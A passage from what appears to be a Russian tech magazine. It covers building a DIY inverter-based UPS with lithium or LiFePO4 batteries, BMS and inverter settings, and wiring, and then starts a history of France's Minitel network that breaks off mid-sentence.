на 100 А. Умножаем 100 А на 24 В, и мы получим те же 2400 Вт. То есть мы
сможем израсходовать нашу батарейку за один час.

Но наш инвертор более мощный и выдерживает нагрузку 3 кВт. Что, если
нагрузка у нас выше (пусть 2,8 кВт), а автомат — на 100 А? Правильно, авто‐
мат сработает и  не даст так быстро израсходовать аккумуляторы. По  опыту
скажу, что, если нагрузка временная, например у нас работают серверы и в
это время включился компрессор офисного холодильника, ничего страшного
не произойдет — автомат не сработает моментально. Ему нужно некоторое
время, а за это время нагрузка снизится, и все будет работать, как прежде.
Если же нужно постоянно работать на  пределе возможностей, значит,
используем более мощный автомат с током на 125 А. В этом случае 24 ⋅ 125 =
3000: мы сможем реализовать всю мощность инвертора. А  если инвертор
у нас на 4 кВт, то нужен DC-автомат на 150 А (24 ⋅ 150 = 3600).

Кроме аккумуляторов, потребуется еще провод с сечением, подходящим
под  твой инвертор. Открываем руководство и  смотрим, какой провод нам
нужен. В качестве примера — фрагмент из руководства к моему инвертору.

Необходимое сечение кабеля — 25 мм2

Мы имеем дело с постоянным током, здесь сечение вроде 4–6 мм  не подой‐
дет. Нужно использовать толстые провода, а  к ним еще  потребуются коль‐
цевые наконечники для  подключения к  инвертору, автомату DC и  аккумуля‐
тору. Примечательно, но типы наконечников будут отличаться в зависимости
от  инвертора и  аккумуляторов. В  большинстве случаев подойдут медные
луженые кабельные наконечники D5.2  — они как  раз предназначены

для кабеля сечением 25 мм .
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Пример наконечника

Однако недостаточно вставить кабель в  наконечник. Наконечник нужно
обжать гидравлическими пресс‑клещами. Стоят такие от  5000  рублей, но  я
не  думаю, что ради разовой акции рационально их покупать. Проще всего,
чтобы не ломать голову, обратиться в магазин кабельной продукции, где тебе
продадут провод нужной длины, подберут наконечники и  сразу выполнят их
обжимку. Кстати, поскольку мы имеем дело с  постоянным током, то длина
кабеля не должна превышать 1,5 м — этого вполне достаточно, чтобы удобно
разместить и инвертор, и аккумуляторы.

На следующем рисунке показан уже готовый UPS для  всего офиса,
использующий инвертор 48 В PowMr и четыре аккумулятора по 200 А ⋅ ч каж‐
дый. Расчетная емкость такой системы 4800 Вт ⋅ ч.

Готовый UPS

Если ты внимателен, то на  иллюстрации заметил балансир (эквалайзер)
для  аккумуляторов. Считается, что балансир позволяет более равномерно
распределять заряд между батареями. Использовать его или  нет  — решать
тебе, тем более что производитель инвертора в  своем руководстве не  упо‐
минает о  каких‑либо балансирах. Цена такого девайса составляет око‐
ло  50  долларов в  зависимости от  количества аккумуляторов (для  24  В  —
дешевле). Если ты хочешь купить балансир только ради того, чтобы видеть
напряжение на  каждой батарее, дешевле приобрести четыре простеньких
вольтметра.

Балансир (эквалайзер) для четырех аккумуляторов 12 В

Также на  рисунке, как  ты успел заметить, отсутствует автоматический вык‐
лючатель на  плюсовом кабеле, ведущем к  инвертору. Сэкономили. Но, нес‐
мотря на это, уже более года все работает нормально.

Продолжение статьи
→
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ГОТОВЫЙ АККУМУЛЯТОР

Преимущества аккумулятора из магазина:
готовое решение, тебе нужно только подключить его к инвертору;•
как правило, содержит плату защиты батареи BMS, управлять которой
можно с помощью смартфона по Bluetooth;

•

поставляется в  симпатичном корпусе с  дисплеем, что особенно важно,
если UPS будет размещаться на видном месте;

•

часто в  комплекте уже есть провода, причем уже обжатые. Существует,
конечно, вероятность, что наконечники к  инвертору не  подойдут, но  они,
по крайней мере, точно подойдут со стороны батареи;

•

обычно такие аккумуляторы построены на  базе литий‑железо‑фосфатных
ячеек (LiFePO4), которые более безопасны (не горят и  не взрываются)
и обладают большим числом циклов заряд — разряд, чем литиевые ячей‐
ки.

•

Внешний вид и  цена аккумулятора зависит от  фантазии производителя.
Для  системы на  24  В  часто можно встретить в  продаже батареи, внешне
напоминающие обычные автомобильные аккумуляторы на  12  В. Несмотря
на свою простоту, они оснащены платой BMS, к которой можно подключаться
по Bluetooth.

Типичный готовый аккумулятор на 24 В

Типичный готовый аккумулятор на 48 В

Минусов у  готовых решений нет, если не считать их цену. Хотя, нужно отме‐
тить, в последнее время она существенно снизилась. Так, показанный выше
аккумулятор на 24 В обойдется в 418 долларов, а на 48 В со второго рисун‐
ка — в 867 долларов в варианте на 100 А ⋅ ч и 1228 долларов емкостью 150 А ⋅
ч.

Вспомним стоимость инвертора на  24  В  — от  200  долларов, то есть
готовый UPS на  2560  Вт ⋅ ч обойдется нам в  618  долларов плюс несколько
мелочей, которые практически ничего не стоят.

При выборе готового аккумулятора обрати внимание на следующие харак‐
теристики (не считая его емкости):

Charge Current — ток заряда;•
Discharge Current — ток разряда.•

Ток заряда — это максимальный ток, которым можно заряжать батарею. Час‐
то указывается в амперах или в виде 0,5 c. С амперами все понятно, а второй
показатель представляет собой коэффициент, на  который нужно умножить
емкость. То есть если емкость у нас 100 А ⋅ ч и ток заряда 0,5 с, то заряжать
такой аккумулятор можно током 50 А (100 ⋅ 0,5). Ток 50 А говорит о том, что
при  полном разряде аккумулятор зарядится до  100% примерно за  2  ч (при
емкости 100 А  ⋅ ч). Рекомендуется заряжать его током ниже, 30 А, — так он
будет заряжаться дольше (чуть более  3  ч), но  при этом ты продлишь ему
жизнь. Некоторые аккумуляторы можно заряжать (судя по их спецификациям)
током  20  А. Это  мало, и  возникают сомнения, а  точно ли в  них литиевые
или литий‑железо‑фосфатные ячейки?

Ток разряда — не менее важная характеристика. Представь ситуацию, ког‐
да у тебя инвертор на 4 кВт (ты потратился и купил не за 200, а за 300 дол‐
ларов), аккумулятор на  24  В  и его BMS разрешает максимальный ток раз‐
ряда 100 А. Умножаем 24 на 100 А и получаем 2400 Вт. Если нагрузка будет
больше, BMS просто отключит батарею и твой UPS выключится. И зачем тог‐
да тебе инвертор на  4,2  кВт? Поэтому, если уж покупаешь более мощный
инвертор, ищи и аккумулятор, способный выдерживать бо́льшие нагрузки —
с током разряда 125 или даже 150 А.

СОБИРАЕМ ЛИТИЕВЫЙ АККУМУЛЯТОР ИЗ «КОНСЕРВ»

«Консерва» — это ячейка батареи электромобиля Nissan Leaf (можно исполь‐
зовать и  от других электрокаров, но  такие ячейки проще и  дешевле всего
достать), а  не то, что ты подумал. Достоинства подобного самодельного
решения — дешевизна и высокая скорость заряда по сравнению с AGM-акку‐
муляторами. Литиевые ячейки можно заряжать током  30–50  А, что при  пол‐
ном разряде позволяет зарядить аккумулятор за 2–3 ч. Если часто отключают
свет, такое решение — бюджетный выход из ситуации.

Недостатки:
непрезентабельный внешний вид, но  если такой самодельный аккумуля‐
тор будет стоять, скажем, в  гараже или  какой‑нибудь кладовке, где его
никто не  увидит, то не  все ли равно? При  желании можно поместить его
в какой‑то самодельный корпус, но для его изготовления нужны желание
и руки из правильного места;

•

все‑таки мы имеем дело с  ячейками б/у. То, что ты получишь на  выходе,
очень сильно зависит от состояния этих ячеек и их остаточной емкости;

•

пожароопасность и взрывоопасность.•

Все мы знаем, на что способен литий, а в одной такой консерве лития очень
много. Но все проблемы возникают по одной из трех причин. Первая и самая
банальная — перезаряд банки. Максимально допустимое напряжение одной
ячейки — 4,2 В. Я рекомендую заряжать ячейки до 4,15. Вторая — отсутствие
платы BMS. Плата защиты контролирует напряжение каждой ячейки и дельту
между напряжениями в них. Если какая‑то ячейка выйдет за пределы 4,15 В,
плата просто перестанет ее заряжать. Если разница между минимально
заряженной и  максимально заряженной ячейкой составит  0,8  В, плата вык‐
лючит систему. Все продумано. Третья причина  — механические поврежде‐
ния. Бить по такому аккумулятору, ронять его и сверлить в нем отверстия —
плохая идея.

На следующей иллюстрации показаны две заготовки для  аккумуля‐
торов 48 В 100 А ⋅ ч.

«Консервы» от Nissan Leaf

Одна такая подержанная ячейка стоит в среднем 15 долларов (есть дешевле,
есть дороже). Для создания аккумулятора на 24 В тебе нужно 7 ячеек, а для
аккумулятора на 48 В — 13 ячеек. Поэтому начнем с преимуществ: аккумуля‐
тор 24 В примерно на 100 А обойдется в 105 долларов, а аккумулятор 48 В —
в  195  долларов. Конечно, сюда нужно обязательно добавить плату защиты
BMS, которая в  зависимости от  варианта стоит до  50  долларов (сейчас
цена 38 долларов за вариант 24 В и 43 доллара — на 48 В). Тебе нужна пла‐
та 7s для аккумулятора на 24 В и 13s — для аккумулятора на 48 В. Также обра‐
щай внимание на ток заряда и разряда, особенно на ток разряда — он дол‐
жен быть 100 А для системы 48 В и от 100 до 150 А для 24 В:

инвертор на 2,4 кВт: ток разряда — 100 А;•
инвертор на 3,2 кВт: ток разряда — 125 А;•
инвертор на 4 кВт: ток разряда — 150 А.•

Daly BMS на 80 А. Не годится, слишком слабая

Здесь небольшая ремарочка. Допустимое максимальное напряжение одной
литиевой ячейки  — 4,2  В  (не путать с  литий‑железо‑фосфатной, там нап‐
ряжение ниже). На  следующем фото показан уже готовый аккумулятор
на  24  В. Видно, как  ячейки соединены друг с  другом. Несмотря на  то что
в сборке восемь ячеек, одна не задействована. Хитрого ничего нет — нужно
соединять по всем трем выводам параллельно согласно полярности.

Аккумулятор на 24 В из подручных средств

Как видишь, кроме пластин и  болтов, больше ничего не  нужно, а  из инстру‐
ментов  — набор ключей и  отвертка. Вместо пластин можно использовать
провода с наконечниками, тут уже кто как собирает.

WWW

Подробнейшее видео можно найти на    —
как говорится, лучше один раз увидеть.

YouTube

Следующие две полезнейшие ссылки  —
это 

 и  .
подключение платы Daly BMS в  конфигура‐

ции 7s в конфигурации 13s

Daly BMS  — один из  возможных вариантов. Кто‑то хвалит эти платы, кто‑то
ругает. У меня такая, и пока она меня всем устраивает.

Схема подключения BMS для конфигурации 13s 48v

Почему  7  и  13, а  не  6  и  12  ячеек? Все просто: желание вытянуть бо́льшую
емкость, но  при этом не  выйти кардинально за  пределы допустимого нап‐
ряжения инвертора. Когда мы имеем  7  ячеек по  4,2  В  (суммарное нап‐
ряжение — 29,4 В), мы вписываемся в систему 24 В, как и 13 ячеек по 4,2 В —
54,6 В. Конечно, нужно настраивать кастомный профиль в инверторе, и позже
я опишу, как это сделать.

INFO

Когда ты будешь читать различные форумы, пос‐
вященные аккумуляторам, учти, что буквы в кон‐
фигурациях означают следующее: s — последова‐
тельно, p  — параллельно. Конфигурация  7s  —
семь ячеек последовательно, конфигура‐
ция  4s2p  — четыре последовательно, две парал‐
лельно.

«Консервы» от Nissan Leaf бывают четырех поколений. Чем выше поколение,
тем лучше, но  если ты хочешь сэкономить, то Gen3  — оптимальный выбор.
Можно использовать и Gen2, а Gen1 слишком древние, и, если там осталась
половина от начальной емкости, это хорошо.

Поколения ячеек Nissan Leaf

Подробно на всей теории останавливаться не стану — журнал не резиновый.
Дополнительная информация есть в достаточном количестве в интернете.

Продолжение статьи
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НАСТРОЙКА BMS

Мало подключить BMS, ее нужно надлежащим образом настроить.
При  выборе BMS обязательно убедись, что в  комплекте идет модуль
Bluetooth, подключаемый к разъему UART/BT платы BMS.

Bluetooth-модуль

К порту UART/BT можно подключить или  дисплей для  BMS, или  BT-модуль.
Одновременно эти два гаджета подключить нельзя. Как  по мне, модуль BT
удобнее, чем дисплей с  ограниченной функциональностью. Если некуда
девать 50 долларов, можно купить дисплей, но для настройки лучше исполь‐
зовать приложение. Дисплей ты сможешь использовать для  отображения
параметров работы BMS уже после настройки.

Прежде чем приступить, установи два приложения на  свой смартфон  —
BLE Scanner и SMART BMS. Первое пригодится пользователям iPhone, пос‐
кольку iOS сама не  обнаруживает Daly BMS, когда активируешь поиск BT-
устройств. А это приложение видит BMS и позволяет подключиться к устрой‐
ству. Использовать приложение нужно один раз  — оно найдет BMS и  уста‐
новит соединение. После чего нужно запустить SMART BMS и  произвести
настройку BMS в этом приложении. В следующий раз BLE Scanner пригодит‐
ся после обновления iOS, поэтому не спеши удалять его. Если у тебя Android,
никаких проблем с подключением к BMS быть не должно.

BLE Scanner

Итак, нажми кнопку на  BT-модуле. Этим ты включишь аккумулятор. Подклю‐
чать его к  инвертору на  данном этапе не  нужно! Запусти приложение Daly
BMS и выбери Local monitoring, после чего свою BMS из списка найденных.

Нажми Local monitoring, затем выбери свою BMS

Если приложение запросит пароль, введи  123456  — это  пароль по  умол‐
чанию. На следующем скриншоте показан основной интерфейс. Как видишь,
батарея заряжена на 97%, максимальное напряжение — 4,129 В, минималь‐
ное — 4,087 В, дельта — 0,042 В.

Основной интерфейс и напряжение каждой ячейки

Если пролистать эту страничку ниже, ты увидишь напряжение каждой ячейки.
То, что приложение ругается на одну из ячеек, не страшно, главное, чтобы эта
ячейка не вышла за установленные пределы.

WARNING

Я настоятельно не рекомендую пользоваться рус‐
ской локализацией приложения  — уж очень кри‐
вой перевод, лучше бы его там вообще не было!

Нажми на кнопку Preferences и сразу перейди в раздел Collect board settings.
Здесь нужно установить параметры платы. В  нашем случае  — семь ячеек.
Для изменения параметра нужно ввести новое значение и нажать кнопку Set.
После чего ввести пароль от BMS, и так для каждого параметра.

Collect board settings, cell characteristics и protection parameters

Затем перейди в раздел Cell characteristics и укажи тип батареи — Li-ion (не
путай с LiFePO4 — для них свой тип аккумулятора и свои настройки), пример‐
ную емкость (программа просто верит пользователю, поэтому можно указать
и 300 А  ⋅ ч, но реальная емкость от этого больше не станет — просто будет
врать индикатор уровня заряда батареи).

Чтобы правильно отображался параметр SOC, нужно зарядить батарею
до  максимума, например в  случае с  конфигурацией  7s  — до  29  В  или
до 29,4 В, если ты любишь риск, и затем задать SOC = 100%. С этим ты успе‐
ешь разобраться позже. При  использовании таких же ячеек в  той же кон‐
фигурации можешь смело вводить параметры с предыдущего скриншота.

Теперь идем в раздел Protection parameters — это очень важный раздел.
Здесь я установил напряжение  4,15  В  на ячейку. В  итоге должно получить‐
ся  29,05  В, именно такое напряжение нужно будет выставить в  нашем
инверторе, чтобы он не пытался зарядить батарею больше, чем нужно.

Минимальное напряжение ячейки — 3,40 В. Если одна из ячеек достигнет
этого значения, система выключится. Следовательно, минимально допус‐
тимое напряжение всей системы  — 23,8  В. Это  тоже нужно запомнить: мы
внесем данный показатель в наш инвертор.

На самой BMS указаны ограничения по  току заряда и  разряда. В  моем
случае  — это  100  и  100  А. Но  максимальный ток заряда на  уровне BMS я
ограничил до 50 А, а на инверторе вообще задал 30 А, чтобы беречь ресурс
батареи. А  вот ток разряда нужно указать  100  А, иначе, если оставить
по  умолчанию, наша BMS будет выключаться, как  только нагрузка пре‐
высит 1400 Вт (считаем, что напряжение в данный момент 28 В). Это несколь‐
ко не то, чего нам хочется.

Максимальное суммарное напряжение  — 29,1  В  (4,15 ⋅ 7  я округлил
в большую сторону), а минимальное — 23 В. Оно указано неправильно, пос‐
кольку 3,4 ⋅ 7 = 23,8 В, — я заметил эту ошибку, только когда писал статью.
Благо до такого уровня я свою батарейку не разряжал.

Максимально допустимая разница между самой заряженной и самой раз‐
ряженной ячейкой — 0,80 В.

Остальные параметры можно оставить по  умолчанию. Прежде чем мы
перейдем к  настройке инвертора, поговорим о  чрезвычайной ситуации. Что
будет, если сработает защита? Система просто отключится, причем ее вклю‐
чение кнопкой на  BT-модуле не  поможет. Чтобы система снова пришла
в  чувство, нужно ждать несколько часов. Ускорить процесс можно, если
отключить белый коннектор, к которому идут провода от ячеек аккумулятора,
на  следующем рисунке этот коннектор отмечен как  Sampling cable. Отключи
коннектор, подожди несколько секунд и  подключи снова. Осторожно, пос‐
кольку коннектор довольно нежный.

Отключи белый коннектор, чтобы сбросить систему после срабатывания
защиты

ПОДКЛЮЧЕНИЕ ИНВЕРТОРА

Как подключить инвертор к твоей домашней сети, зависит… от твоей домаш‐
ней сети. При  возникновении сомнений проконсультируйся с  электриком.
Если нужно запитать только стойку с серверами, то здесь все очень просто.
Тебе понадобится кабель ВВГнг или  ПВС с  сечением  2,5 (до  3  кВт), 4 (3–

5  кВт) или  6  мм  (более  5  кВт). В  принципе, кабель сечением  4  мм  можно
использовать в конфигурациях на 6 кВт при условии, что постоянной нагрузки
в  6  кВт не  будет. Производители перестраховываются и  требуют кабели
с  максимальным сечением, но  если его длина будет большой, то выходит

не  совсем бюджетно, поэтому  4  мм  вполне достаточно. Многие электрики
для подключения инвертора используют гибкий кабель ПВС, так как его про‐
ще монтировать. Я же предпочитаю монолитный ВВГнг  — это  негорючий
кабель, подходящий для монтажа на улице. Он не очень гибкий, и его монтаж
не такой простой, как ПВС, но ты же не будешь перемещать инвертор с места
на  место постоянно? Он будет установлен один раз и  навсегда. Если пла‐
нируешь со  временем перейти на  более мощное решение, то имеет смысл

использовать кабель 6 мм , чтобы потом не переделывать подключение.

2 2

2

2

Открой верхнюю крышку инвертора. Под ней ты найдешь клеммы для под‐
ключения фазы и ноля для присоединения к твоей сети — они будут, как пра‐
вило, помечены как Grid, фаза помечена как L (line), а ноль — как N (neutral).
Для правильного подключения тебе понадобится тестер, чтобы не перепутать
фазу и  ноль. Выходы с  инвертора подписаны как  Out/Output. Заземление
(желто‑зеленая жила) подключается к контакту, отмеченному значком зазем‐
ления.

Однако не спеши подключать сразу провода к инвертору. Перед инверто‐
ром нужно разместить два двухполюсных автоматических выключателя (2P).
Номинал указан в  руководстве, как  правило, это  32  А  для моделей
от 3 до 4,2 кВт и 40 А — для 6,2 кВт. Первый будет отключать линию, ведущую
от сети к инвертору (она используется для заряда батареи), а второй нужен
для отключения выхода инвертора.

Существует четыре способа подключения инвертора.
Самый простой  — когда нужно обеспечить резервное питание одного
источника, например серверной стойки. В  этом случае инвертор можно
подключить к  обычной розетке: протяни трехжильный кабель, подключи
к нему с одного конца вилку, а с другой стороны очисти провода от изо‐
ляции и подключи к контактам Grid, только не перепутай ноль и фазу (одол‐
жи у  кого‑то тестер). А  к контактам Out подключи двухжильный кабель,
к которому ты присоединишь внешнюю розетку. К этой розетке потом ты
подключишь вилку блока розеток серверной стойки. Все просто.

•

Если нужно запитать все помещение, то инвертор устанавливается после
счетчика — он ставится в разрыве входного кабеля. К контактам Grid под‐
ключаются фаза и ноль от счетчика, а другой конец кабеля, ведущий к наг‐
рузке, то есть к твоему щитку, находящемуся в помещении, подключается
к контактам Out. Тут тоже вроде ничего сложного.

•

Подключение только к  нужным группам потребителей. В  этом случае
инвертор будет питать не  все линии в  помещении, а  только выбранные
автоматические выключатели, например свет, компьютеры и  так далее.
Этот способ сложнее, требует знаний электрики и  грамотно сделанной
проводки. Если у  тебя в  помещении есть два автомата  — один на  свет,
другой на все розетки, — вряд ли что‑то выйдет.

•

Подключение к  помещению через автомат ввода резерва (АВР). Статья
и так получилась огромной, поэтому этот случай рассматривать не будем.

•

WARNING

Перед подключением инвертора обязательно
выключи вводной автомат (который стоит после
счетчика) — ради твоей же безопасности!

Многие инверторы требуют, чтобы сначала подключали батарею, а потом —
питание от  сети. Более того, без  подключенной батареи такие инверторы
даже не запускаются. Поэтому правильная последовательность подключения
будет такой:
1. Выключить входной автомат.
2. Произвести подключение инвертора к существующей проводке, в том чис‐

ле установить автоматические выключатели, идущие к инвертору и после
него.

3. Выключить автоматические выключатели инвертора.
4. Подключить батарею к инвертору, но не включать инвертор.
5. Включить батарею  — как  правило, на  корпусе есть кнопка включения.

В случае с автомобильными аккумуляторами этого делать не нужно.
6. Включить инвертор.
7. Настроить инвертор, указав параметры заряда батареи.
8. Включить входной автомат. Поскольку инвертор у  тебя установлен в раз‐

рыв, то после включения входного автомата «света» в  помещении
не будет.

9. Включить автомат питания батареи  — тот, который используется
для заряда батареи. Убедиться, что инвертор видит сеть (появится значок
линии) и что батарея заряжается.

10. Включить второй автомат, который установлен после контакта Out,  —
появится питание во всем помещении.

Далее мы рассмотрим процесс настройки инвертора на  примере модели
от PowMr, но аналогичное меню используется во многих китайских инверто‐
рах. В  крайнем случае у  тебя всегда под  рукой будет руководство поль‐
зователя, на  полях которого, кстати, полезно делать заметки, чтобы ничего
не забыть.

Для входа в меню инвертора нажми и удерживай несколько секунд кнопку
Enter на передней панели инвертора. Далее кнопками Up и Down перемещай‐
ся по пунктам меню, а клавишей Enter выбирай пункт. После того как ты ока‐
жешься в  нужном разделе меню, используй Up/Down для  выбора значения
и  Enter для  его сохранения, Esc  — если передумал изменять значения,
для возврата в меню.

Существует несколько пунктов меню, которые нужно настроить:
01  — Output source priority: устанавливает приоритет, откуда питать наг‐
рузку. Как  правило, всех устроит приоритет USB (Utility, Solar, Battery)  —
сеть, панели, батарея (пока нет солнечных панелей).

•

02  — Maximum charging current: максимальный ток заряда аккумулятора.
Выбираем 30 А (для AGM — 10 А).

•

03 — AC input voltage range. Доступно два режима: APL или UPS, выбираем
последний. Этот режим задает диапазон входного напряжения, в первом
случае напряжение в 90 В допускается, во втором минимальное — 170 В.

•

05 — Battery type — здесь нужно выбрать тип батареи. Если у тебя авто‐
мобильные AGM, выбирай их. Для  всех остальных  — USE, пользователь‐
ский тип. Так как  мы дальше будем настраивать литиевый аккумулятор,
выбираем USE.

•

09 — Output frequency — выбираем 50 Гц.•
10 — Output voltage — выбираем 230 В.•
11 — Maximum utility charging current — максимальный ток зарядки батареи
при  зарядке от  сети. Выбираем то же самое, что и  для пункта  02. Когда
у тебя будут подключены солнечные панели, можно будет установить мак‐
симальный ток заряда (общий) 30  А, а  от сети  — 10  А, чтобы инвертор
меньше брал энергии от сети и больше от солнца.

•

16 — Charging source priority — приоритет зарядки. Попросту говоря, отку‐
да инвертору брать зарядку. Если у тебя нет панелей, все равно, что здесь
выбрано.

•

26 — Bulk charging voltage — очень важный параметр. Помнишь, мы вычис‐
лили, что максимум для  нашей батарейки  — 29,05  В? Вот это  значение
нужно выбрать здесь. Однако мой инвертор позволяет выбрать только
значения  29,0  и  29,1 (или выше), поэтому лучше установить  29  В, чтобы
не сработала защита BMS. Для системы 48 В — 53,9.

•

27  — Floating charging voltage  — напряжение плавающего заряда.
Это  минимальный уровень заряда, который будет поддерживаться
инвертором. Установи здесь  29  В  или значение чуть меньше  29  В, нап‐
ример 28,6. Так при нечастых отключениях света можно немного сэконо‐
мить на электричестве. Для системы 48 В — 53,9 В или немного ниже.

•

29  — Low DC cut-off voltage  — минимальное напряжение батареи,
при котором выключится инвертор. В нашем случае 23,8 В (3,40 на ячей‐
ку), у меня стояло 24 В, вот почему я тогда в BMS установил 23 В — все
равно это значение никогда не будет достигнуто, поскольку инвертор вык‐
лючится раньше. Для системы 48 В — 44,2 В.

•

С назначением остальных параметров ты сможешь ознакомиться в руководс‐
тве.

ФИНАНСОВЫЕ ИТОГИ

Посчитаем конфигурацию на 24 В 100 А (~2,5–2,9 кВт):
инвертор 3 кВт с двумя AGM-аккумуляторами — ~500–550 долларов;•
инвертор  3  кВт с  заводским LiFePO4-аккумулятором  — ~600–650  дол‐
ларов;

•

инвертор  3  кВт с  самодельным литиевым аккумулятором  — ~400  дол‐
ларов.

•

Конфигурацию на  48  В  и с  емкостью  5  кВт ты можешь просчитать самос‐
тоятельно  — все цены были приведены в  статье. Даже если ты не  будешь
заморачиваться и  купишь уже готовый аккумулятор, то за  650  долларов ты
получишь 2,5 кВт гарантированной емкости, а не 1 кВт за примерно 900, если
сравнивать с зарядной станцией. Про серверные ИБП и их цены вообще луч‐
ше промолчать.

Собственно, на этом всё. Статья не претендует на полное раскрытие темы
альтернативных источников питания, ее цель — поделиться своим опытом.
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В начале восьмидесятых годов, пока весь
мир использовал для  поиска информации
бумажные справочники, французы, весело
щелкая клавишами, заказывали билеты,
оплачивали счета, искали работу, болтали
в чатах и даже знакомились онлайн. Сегод‐
ня мы вспомним о  Minitel  — французской
информационной сети, на  десятилетия
опередившей цифровую эпоху. Мы погово‐
рим о том, почему она стала такой популяр‐
ной и что в итоге ее погубило.

КАК ЗАКАЛЯЛАСЬ СЕТЬ

Эта история началась в 70-х годах ХХ века, когда французское правительство
решило, что бумажные телефонные справочники  — это  прошлый век.
На  самом деле чиновниками двигало не  стремление к  техническому прог‐
рессу, а банальная меркантильность и желание сэкономить: число абонентов
телефонной сети стремительно росло, а  вместе с  ним росли расходы
на  печать и  доставку телефонных книг, рентабельность производства
которых, наоборот, стремилась к нулю. Кроме того, с расширением телефон‐
ных сетей в геометрической прогрессии увеличивалась нагрузка на справоч‐
ные службы, а  расширение штата операторов и  организация для  них новых
рабочих мест влекли дополнительные расходы. Затраты на  печать  16  мил‐
лионов телефонных справочников в 1978 году достигли 307 миллионов фран‐
ков, при  этом на  их производство расходовалось  20  тысяч тонн бумаги.
С этим нужно было срочно что‑то делать.

Решение предложила государственная телекоммуникационная компания
Postes, Télégraphes et Téléphones (позже переименованная во  France
Télécom), причем это  решение казалось по  тем временам весьма смелым:
заменить справочники электронным сервисом, к которому можно будет под‐
ключаться прямо из дома. Впрочем, авторов этой идеи нельзя назвать изоб‐
ретателями компьютерных сетей: еще в 1973 году в газете Le Monde вышла
большая статья о  получивших распространение в  Японии «домашних тер‐
миналах» для связи с компьютерными информационными сервисами и науч‐
ной библиотекой. Услугой могли воспользоваться более 130 тысяч абонентов
телефонных сетей в Токио и Осаке, имеющих телефоны с кнопочным номеро‐
набирателем. Эту систему разработали и внедрили специалисты министерс‐
тва связи Японии: в проект собирались инвестировать 3 миллиарда йен, что‐
бы клиенты смогли не  выходя из  дома покупать товары, читать газеты, про‐
ходить заочное обучение в  университетах, приобретать билеты или  опла‐
чивать счета. Газетчики считали, что в  недалеком будущем подобные тер‐
миналы заменят обычные телефонные аппараты в домах европейцев, нужно
только не изобретать велосипед с квадратными колесами, а взять на воору‐
жение уже имеющийся японский опыт.

Новое перспективное направление французы назвали «телеинформатикой»,
или, сокращенно, «телематикой», а  разрабатывать железо и  софт
для  будущей «телеинформационной сети» поручили специалистам Наци‐
онального центра телекоммуникационных исследований (CNET), который
с 1950-х годов занимался проектированием компьютеров и систем передачи
данных. Протокол Transpac создали в  Исследовательском центре телеви‐
дения и телекоммуникаций (CCETT) в Ренне, причем в его основу легла уже
испытанная технология аналоговой передачи текста по  телевизионному
кабелю Antiope (d’Acquisition numérique et télévisualisation d’images organisées
en pages d’écriture), которую CCETT разработала в  1976  году… по  заказу
СССР. Система «телетекст» предназначалась для  трансляции информации
журналистам на  разных языках во  время Олимпиады-80, она же лежала
в  основе экспериментальных «интерактивных путеводителей» для  иностран‐
ных туристов, желающих посетить Москву и Ленинград в период проведения
Олимпийских игр. Все эти технологии с  большим успехом демонстрирова‐
лись на выставке «Спорт-76» в Москве еще в 1976 году.

Интерактивный гид с телетекстом, 1976 год

Инженерам CCETT осталось только скрестить советский «телетекст» с  про‐
токолом Х.25, чтобы текстовые данные могли передаваться по  телефонным
линиям. Так и  появился протокол Transpac, который лег в  основу будущей
«телеинформационной сети». На  основе этого протокола французы постро‐
или прототип интерактивного телефонного справочника под названием TITAN
(Terminal interactif de télétexte Antiope  — интерактивный терминал телетекста
Antiope), работу которого показали на  берлинской радиовыставке IFA
в 1977 году. В том же году президент Франции Жискар д’Эстен, вдохновлен‐
ный успехами французских компьютерщиков, выделил бюджет на  развитие
проекта национальной информационной сети. Проект назвали Médium
interactif par numérisation d’information téléphonique (интерактивная среда
оцифровки телефонной информации), сокращенно — Minitel, а возглавил его
выходец из France Télécom Жан‑Поль Мори.

ИНТЕРНЕТ ДО ИНТЕРНЕТА

Как и  любые другие сложные технологические проекты, Minitel решили
для  начала обкатать в  нескольких регионах, прежде чем распространить
новинку на всю страну. В 1980 году эксперимент запустили во французском
городе Сен‑Мало. На  первом этапе к  сети подключили  55  пользователей
(20  компаний и  35  частных лиц), а  единственной доступной функцией стал
интерактивный телефонный справочник, содержащий информацию об  або‐
нентах городской телефонной сети. Специально для  Minitel инженеры раз‐
работали терминалы, оборудованные клавиатурой, телевизионным дисплеем
и модемом на 1200 бод.

Терминал Minitel

Через год  4000  терминалов подключили к  сети Minitel в  департаменте Иль
и Вилен — целью эксперимента был полный отказ от бумажных телефонных
книг и замена справочной службы с живыми, но очень усталыми операторами
бездушным электронным сервисом. Другой эксперимент в том же 1981 году
провели среди жителей коммуны Велизи‑Виллакубле, Версаля,
Жуи‑ан‑Жоза, Бюка, Бьевра и еще нескольких населенных пунктов. Там доб‐
ровольцам раздали  2500  терминалов Videotex, собранных в  форм‑факторе
телеприставки, которая подключалась к  телевизору и  управлялась с  пульта,
оборудованного небольшой буквенно‑цифровой клавиатурой. Клавиатура
позволяла набирать текст только заглавными буквами.

Абоненты в этих городах получили доступ не только к электронным «желтым
страницам», но  и к  ряду других сервисов, предоставленных независимыми
компаниями. Это  служба заказа товаров формата «телемагазин», подписка
на  прессу, которую можно было читать прямо с  экрана, электронная доска
объявлений и  почта, позволявшая обмениваться сообщениями с  другими
абонентами. Новая технология привела пользователей в  неописуемый вос‐
торг, слухи о  ней распространялись со  скоростью лесного пожара.
В 1981 году в Велизи был открыт первый серверный центр Minitel, позволяв‐
ший подключаться к  различным сервисам сети  300  абонентам одновремен‐
но.

Серверная Minitel в Велизи

Разработчики быстро поняли, что Minitel может стать коммерчески успешным
проектом: абонентам можно предлагать, помимо базового набора услуг
(вроде того же телефонного справочника и прогноза погоды), дополнитель‐
ные сервисы — доски объявлений, электронные издания, биржевые котиров‐
ки и новости, бронирование билетов и номеров в отелях. Такой подход поз‐
волит быстро расширить ассортимент предоставляемых Minitel услуг, пос‐
кольку компании станут финансово заинтересованы в  их дальнейшем раз‐
витии. В сети Minitel действовала даже платная служба‑будильник, в которой
можно было заказать телефонный звонок на свой номер в определенное вре‐
мя.

На практике все это  привело к  появлению AFTEL  — французской ассо‐
циации поставщиков телематических услуг, целой отрасли электронной ком‐
мерции. Причем произошло это в самом начале восьмидесятых, на минуточ‐
ку, годов, в то самое время, когда будущий создатель WWW Тим Бернерс‑Ли
еще  работал консультантом по  программному обеспечению в  ЦЕРН и  даже
не помышлял о чем‑то большем. Так, телекоммуникационная компания Frost
Telecom, запустившая в Minitel популярнейший электронный магазин Minotaur
Market, зарабатывала на  этом  6  миллиардов франков в  год (пример‐
но 1,5 миллиарда евро по сегодняшнему курсу). Гигантов e-commerce вроде
